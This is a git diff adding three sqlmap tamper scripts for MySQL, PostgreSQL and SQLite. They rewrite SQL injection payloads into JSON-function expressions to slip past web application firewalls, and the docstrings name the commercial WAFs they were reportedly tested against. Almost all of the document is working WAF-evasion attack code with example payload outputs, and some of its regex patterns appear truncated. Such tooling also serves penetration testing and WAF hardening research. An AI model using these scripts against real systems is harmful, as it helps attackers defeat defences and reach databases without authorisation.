diff --git a/tamper/json_waf_bypass_mysql.py b/tamper/json_waf_bypass_mysql.py new file mode 100644 index 000000000..e0fcca576 --- /dev/null +++ b/tamper/json_waf_bypass_mysql.py @@ -0,0 +1,161 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +# Patterns breaks down SQLi payload into different compontets, and replaces the logical comparison. +pattern = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?P \(?\'.*?(?=|=|like)(?P \(?\'.*?(?.*)" +import re, random, string + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + + + +# Possible int payloads: +# 1) JSON_LENGTH() +# 2) json_depth +# 3) JSON_EXTRACT() + +def generate_int_payload(): + INT_FUNCTIONS = [generate_length_payload, generate_depth_paylod, generate_int_extract_payload] + return (random.choice(INT_FUNCTIONS))() + + +# Possible STR payloads: +# 1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}'); +# 2) JSON_EXTRACT +# 3) JSON_QUOTE('null') + +def generate_str_payload(): + print("generate_str_payload") + STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload] + return (random.choice(STR_FUNCTIONS))() + return 'JSON_EXTRACT(\'{"a": "1"}\', \'$.a\') = \'1\'' + + +def generate_random_string(length=15): + str_length = random.randint(1,length) + return "".join(random.choice(string.ascii_letters) for i in range(str_length)) + +def generate_random_int(): + return random.randint(2, 10000) + + +def generate_length_payload(): + return f"JSON_LENGTH(\"{{}}\") <= {generate_random_int()}" + + +def generate_depth_paylod(): + return f"JSON_DEPTH(\"{{}}\") != {generate_random_int()}" + + +def generate_quote_payload(): + var = generate_random_string() + return f"JSON_QUOTE('{var}') = '\"{var}\"'" + + +def generate_int_extract_payload(): + return generate_extract_payload(isString=False) + + +def generate_str_extract_payload(): + return generate_extract_payload(isString=True) + + +def generate_extract_payload(isString=False): + key = generate_random_string() + if isString: + value = generate_random_string() + return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\'' + value = generate_random_int() + return f'JSON_EXTRACT("{{\\"{key}\\": {value}}}", "$.{key}") = "{value}"' + + +def generate_payload(isString, isBrackets): + payload = '(' if isBrackets else "" + if isString: + payload += generate_str_payload()[:-1] # Do not use the last ' because the application will add it. + else: + payload += generate_int_payload() + + return payload + + +def generate_random_payload(): + if random.randint(0,1): + return generate_str_payload() + return generate_int_payload() + +def tamper(payload, **kwargs): + """ + Bypasses generic WAFs using JSON SQL Syntax. For more details, see our talk in BH EU 2022 + https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774 + + For more details about JSON in MySQL - https://dev.mysql.com/doc/refman/5.7/en/json-function-reference.html + + Tested against: + * MySQL v8.0 - however every version after v5.7.8 should work + + Usage: + python3 sqlmap.py --tamper json_waf_bypass_mysql.py + + Notes: + * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments + * JSON techniques were tested againts the following WAF vendors: + * Amazon AWS ELB + * CloudFlare + * F5 BIG-IP + * Palo-Alto Next Generation Firewall + * Imperva Firewall + + * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads, + depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type) + + Possible int payloads: + 1) JSON_LENGTH() + 2) json_depth + 3) JSON_EXTRACT() + + Possible STR payloads: + 1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}'); + 2) JSON_EXTRACT + 3) JSON_QUOTE('null') + + >>> tamper("' and 5626=9709 and 'kqkk'='kqkk") + ''' ' and 5626=9709 and JSON_EXTRACT('{"ilDQUNfX": "KuIjjFkFsok"}', '$.ilDQUNfX') = 'KuIjjFkFsok ''' + >>> tamper('and 4515=8950--') + ''' and JSON_EXTRACT("{\"CoGqzQjy\": 3825}", "$.CoGqzQjy") = "3825" ''' + """ + + payload = payload.replace(r'%20', " ") + # + retVal = payload + + if payload: + match = re.search(pattern, payload) + + if match: + pre = match.group('pre') + + # Is our payload is a string. + isString = pre.startswith("'") + isBrackets = pre.startswith("')") or pre.startswith(")") + wafPayload = generate_payload(isString=isString, isBrackets=isBrackets) + retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}" + + else: + + if payload.lower().startswith("' union"): + wafPayload = generate_random_payload() + + retVal = f"' and {wafPayload} {payload[1:]}" # replace ' union select... with ' and FALSE_WAF_BYPASS union select... + + return retVal + diff --git a/tamper/json_waf_bypass_postgres.py b/tamper/json_waf_bypass_postgres.py new file mode 100644 index 000000000..7db3a5c17 --- /dev/null +++ b/tamper/json_waf_bypass_postgres.py @@ -0,0 +1,233 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +# Patterns breaks down SQLi payload into different components, and replaces the logical comparison. +pattern = r"(?i)(?P .*)\s*\b(?PAND|OR)\b\s*(?P \(?\'.*?(?=|=|like)(?P \(?\'.*?(?.*)" +pattern_extract_value = r"(?i)(?P .*)\s*\b(?PAND|OR)\b\s*(?P EXTRACTVALUE.*)" +pattern_when_where = r"(?i)(?P .*)\s*\b(?PWHERE|WHEN)\b\s*(?P .*)" +pattern_replace_case = r"(?i)(?P \(select.*when\s*\((?P .*?)=(?P .*?)\).*?then\s*(?P \(.*?\))\s*else\s*(?P \(.*?\)).*?end\)\))" +import re, random, string + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + + +def dependencies(): + pass + + +# Possible int payloads: +# 1) #>> +# 2) @> +# 3) ->> (index) +# 4) ->> (str) + +def generate_int_payload(): + INT_FUNCTIONS = [generate_element_by_id_int_payload, generate_element_by_key_int_payload, generate_element_by_hashtag_int_payload, generate_json_left_contains_payload] + return (random.choice(INT_FUNCTIONS))() + + +# Possible str payloads: +# 1) ->> (str) +# 2) ->> (index) +# 3) #>> + + +def generate_str_payload(): + STR_FUNCTIONS = [generate_element_by_id_str_payload,generate_element_by_key_str_payload, generate_element_by_hashtag_str_payload] + return (random.choice(STR_FUNCTIONS))() + + +def generate_random_string(length=15): + str_length = random.randint(1,length) + return "".join(random.choice(string.ascii_letters) for i in range(str_length)) + + +def generate_random_int(): + return random.randint(2, 10000) + + +def generate_element_by_id_payload(isString): + random_generator = generate_random_string if isString else generate_random_int + values = [] + for i in range(3): + values.append(random_generator()) + random_index = random.randint(0,2) + if isString: + return f'\'["{values[0]}", "{values[1]}", "{values[2]}"]\'::jsonb->>{random_index} = \'{values[random_index]}\'' + return f"(\'[{values[0]}, {values[1]}, {values[2]}]\'::jsonb->>{random_index})::int8 = {values[random_index]}" + + +def generate_element_by_id_int_payload(): + return generate_element_by_id_payload(isString=False) + + +def generate_element_by_id_str_payload(): + return generate_element_by_id_payload(isString=True) + + +def generate_element_by_key_payload(isString): + random_generator = generate_random_string if isString else generate_random_int + keys = [] + values = [] + for i in range(3): + keys.append(generate_random_string()) # Json must always have a string as a value + values.append(random_generator()) + random_index = random.randint(0, 2) + if isString: + return f"'{{\"{keys[0]}\" : \"{values[0]}\", \"{keys[1]}\" : \"{values[1]}\", \"{keys[2]}\" : \"{values[2]}\"}}'::jsonb->>'{keys[random_index]}' = '{values[random_index]}'" + return f"('{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb->>'{keys[random_index]}')::int8 = {values[random_index]}" + + +def generate_element_by_key_int_payload(): + return generate_element_by_key_payload(isString=False) + + +def generate_element_by_key_str_payload(): + return generate_element_by_key_payload(isString=True) + + +def generate_element_by_hashtag_payload(isString): + random_generator = generate_random_string if isString else generate_random_int + keys = [] + values = [] + for i in range(3): + keys.append(generate_random_string()) # Json must always have a string as a value + values.append(random_generator()) + random_index = random.randint(0, 2) + if isString: + return f"'{{\"{keys[0]}\" : \"{values[0]}\", \"{keys[1]}\" : \"{values[1]}\", \"{keys[2]}\" : \"{values[2]}\"}}'::jsonb%23>>'{{{keys[random_index]}}}' = '{values[random_index]}'" + return f"('{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb%23>>'{{{keys[random_index]}}}')::int8 = {values[random_index]}" + + +def generate_element_by_hashtag_int_payload(): + return generate_element_by_hashtag_payload(isString=False) + + +def generate_element_by_hashtag_str_payload(): + return generate_element_by_hashtag_payload(isString=True) + + +def generate_json_left_contains_payload(): + keys = [] + values = [] + for i in range(3): + keys.append(generate_random_string()) # Json must always have a string as a value + values.append(generate_random_int()) + random_index = random.randint(0, 2) + return f"'{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb @> '{{\"{keys[random_index]}\": {values[random_index]}}}'" + + +def generate_payload(isString, isBrackets): + payload = '(' if isBrackets else "" + if isString: + payload += generate_str_payload()[:-1] # Do not use the last ' because the application will add it. + else: + payload += generate_int_payload() + + return payload + + +def generate_random_payload(): + if random.randint(0,1): + return generate_str_payload() + return generate_int_payload() + +def tamper(payload, **kwargs): + """ + Bypasses generic WAFs using JSON SQL Syntax. For more details, see our talk in BH EU 2022 + https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774 + + For more details about JSON in PostgreSQL - https://www.postgresql.org/docs/9.3/functions-json.html + + Tested against: + * PostgreSQL v15.0 - however every version after v9.2 should work + + Usage: + python3 sqlmap.py --tamper json_waf_bypass_postgres.py + + Notes: + * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments + * JSON techniques were tested againts the following WAF vendors: + * Amazon AWS ELB + * CloudFlare + * F5 BIG-IP + * Palo-Alto Next Generation Firewall + * Imperva Firewall + + * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads, + depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type) + + Possible int payloads: + 1) #>> + 2) @> + 3) ->> (index) + 4) ->> (str) + + Possible str payloads: + 1) ->> (str) + 2) ->> (index) + 3) #>> + + >>> tamper("' and 5626=9709 and 'kqkk'='kqkk") + ''' ' and 5626=9709 and '["cyelIKsSqxw", "TjFXJ", "p"]'::jsonb->>1 = 'TjFXJ ''' + >>> tamper('and 4515=8950') + ''' and ('{"znxqmFaPSFPHbL" : 9783, "thtt" : 3922, "EhFySUTUc" : 2490}'::jsonb%23>>'{thtt}')::int8 = 3922 ''' + """ + payload = payload.replace(r'%20', " ") # Fix regex for later + payload = payload.lower().replace("union all", "union") # Replace union all with union in order to bypass many common WAFs + bad_string_match = re.search(r"(from \(select \d+)", payload) # Replaces suffix identified by many WAFs + + if bad_string_match: + payload = payload[:payload.find(bad_string_match.group(1))] + f"--{generate_random_string()} " + + retVal = payload + + if payload: + + match = re.search(pattern, payload) + + if match: + pre = match.group('pre') + # Is our payload a string. + isString = pre.startswith("'") + isBrackets = pre.startswith("')") or pre.startswith(")") + wafPayload = generate_payload(isString=isString, isBrackets=isBrackets) + retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}" + + elif payload.lower().startswith("' union"): # Increase evasiveness in union payloads + wafPayload = generate_random_payload() + retVal = f"' and {wafPayload} {payload[1:]}" # replace ' union select... with ' and FALSE_WAF_BYPASS union select... + + else: + extract_value_match = re.search(pattern_extract_value, payload) + + if extract_value_match: # Replaces extractvalue because many WAFs target it + wafPayload = generate_random_payload() + retVal = f"{extract_value_match.group('pre')} {extract_value_match.group('relation')} {wafPayload} {extract_value_match.group('relation')} {extract_value_match.group('extractValueRest')}" + + else: + condition_match = re.match(pattern_when_where, payload) + + if condition_match: # Replaces when/where payloads with regular payloads because many WAFs target this keywords + wafPayload = generate_random_payload() + retVal = f"{condition_match.group('pre')} {condition_match.group('condition')} {wafPayload} and {condition_match.group('rest')}" + + case_match = re.search(pattern_replace_case, retVal) + + if case_match: # Replaces case statements because many WAFs target this syntax + + # Check if the case statement expects the left or right option + if case_match.group("leftComp") == case_match.group("rightComp"): + retVal = retVal.replace(case_match.group('all'), case_match.group('firstCase')) + + else: + retVal = retVal.replace(case_match.group('all'), case_match.group('secondCase')) + + return retVal + diff --git a/tamper/json_waf_bypass_sqlite.py b/tamper/json_waf_bypass_sqlite.py new file mode 100644 index 000000000..f36265cd0 --- /dev/null +++ b/tamper/json_waf_bypass_sqlite.py @@ -0,0 +1,174 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +# Patterns breaks down SQLi payload into different components, and replaces the logical comparison. +pattern = r"(?i)(?P .*)\s*\b(?PAND|OR)\b\s*(?P \(?\'.*?(?=|=|like)(?P \(?\'.*?(?.*)" +import re, random, string + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST +DEBUG = False + + +def dependencies(): + pass + + +# Possible int payloads: +# 1) JSON_LENGTH() +# 2) json_depth +# 3) JSON_EXTRACT() +# 3) JSON_EXTRACT operator + +def generate_int_payload(): + INT_FUNCTIONS = [generate_length_payload, generate_int_extract_payload, generate_int_extract_operator_payload] + return (random.choice(INT_FUNCTIONS))() + + +# Possible STR payloads: +# 2) JSON_EXTRACT +# 2) JSON_EXTRACT Operator +# 3) JSON_QUOTE('null') + +def generate_str_payload(): + STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload, generate_str_extract_operator_payload] + return (random.choice(STR_FUNCTIONS))() + + +def generate_random_string(length=15): + str_length = random.randint(1, length) + return "".join(random.choice(string.ascii_letters) for i in range(str_length)) + + +def generate_random_int(): + return random.randint(2, 10000) + + +def generate_length_payload(): + rand_int = generate_random_int() + return f"JSON_ARRAY_LENGTH(\"[]\") <= {generate_random_int()}" + + +def generate_quote_payload(): + var = generate_random_string() + return f"JSON_QUOTE('{var}') = '\"{var}\"'" + + +def generate_int_extract_payload(): + return generate_extract_payload(isString=False) + + +def generate_str_extract_payload(): + return generate_extract_payload(isString=True) + + +def generate_int_extract_operator_payload(): + return generate_extract_operator_payload(isString=False) + + +def generate_str_extract_operator_payload(): + return generate_extract_operator_payload(isString=True) + + +def generate_extract_payload(isString=False): + key = generate_random_string() + if isString: + value = generate_random_string() + return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\'' + value = generate_random_int() + return f'JSON_EXTRACT("{{""{key}"": {value}}}", "$.{key}") = {value}' + + +def generate_extract_operator_payload(isString=False): + + key = generate_random_string() + if isString: + value = generate_random_string() + return f'\'{{"{key}": "{value}"}}\'->> \'$.{key}\' = \'{value}\'' + value = generate_random_int() + return f'"{{""{key}"": {value}}}" ->> "$.{key}" = {value}' + + +def generate_payload(isString, isBrackets): + payload = '(' if isBrackets else "" + if isString: + payload += generate_str_payload()[:-1] # Do not use the last ' because the application will add it. + else: + payload += generate_int_payload() + + return payload + + +def generate_random_payload(): + if random.randint(0, 1): + return generate_str_payload() + return generate_int_payload() + + +def tamper(payload, **kwargs): + """ + Bypasses generic WAFs using JSON SQL Syntax. For more details, see our talk in BH EU 2022 + https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774 + + For more details about JSON in SQLite - https://www.sqlite.org/json1.html + + Tested against: + * SQLite v3.39.4 - however every version after v3.38.0 should work + + Usage: + python3 sqlmap.py --tamper json_waf_bypass_sqlite.py + + Notes: + * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments + * JSON techniques were tested againts the following WAF vendors: + * Amazon AWS ELB + * CloudFlare + * F5 BIG-IP + * Palo-Alto Next Generation Firewall + * Imperva Firewall + + * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads, + depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type) + + Possible int payloads: + 1) JSON_LENGTH() + 2) json_depth + 3) JSON_EXTRACT() + 3) JSON_EXTRACT operator + + Possible STR payloads: + 2) JSON_EXTRACT + 2) JSON_EXTRACT Operator + 3) JSON_QUOTE('null') + + >>> tamper("' and 5626=9709 and 'kqkk'='kqkk") + ''' ' and 5626=9709 and JSON_QUOTE('UG') = '"UG" ''' + >>> tamper('and 4515=8950') + ''' and JSON_ARRAY_LENGTH("[]") <= 9100 ''' + """ + retVal = payload + + if payload: + match = re.search(pattern, payload) + + if match: + pre = match.group('pre') + + # Is our payload is a string. + isString = pre.startswith("'") + isBrackets = pre.startswith("')") or pre.startswith(")") + wafPayload = generate_payload(isString=isString, isBrackets=isBrackets) + retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}" + + else: + + if payload.lower().startswith("' union"): + wafPayload = generate_random_payload() + retVal = f"' and {wafPayload} {payload[1:]}" # replace ' union select... with ' and FALSE_WAF_BYPASS union select... + + return retVal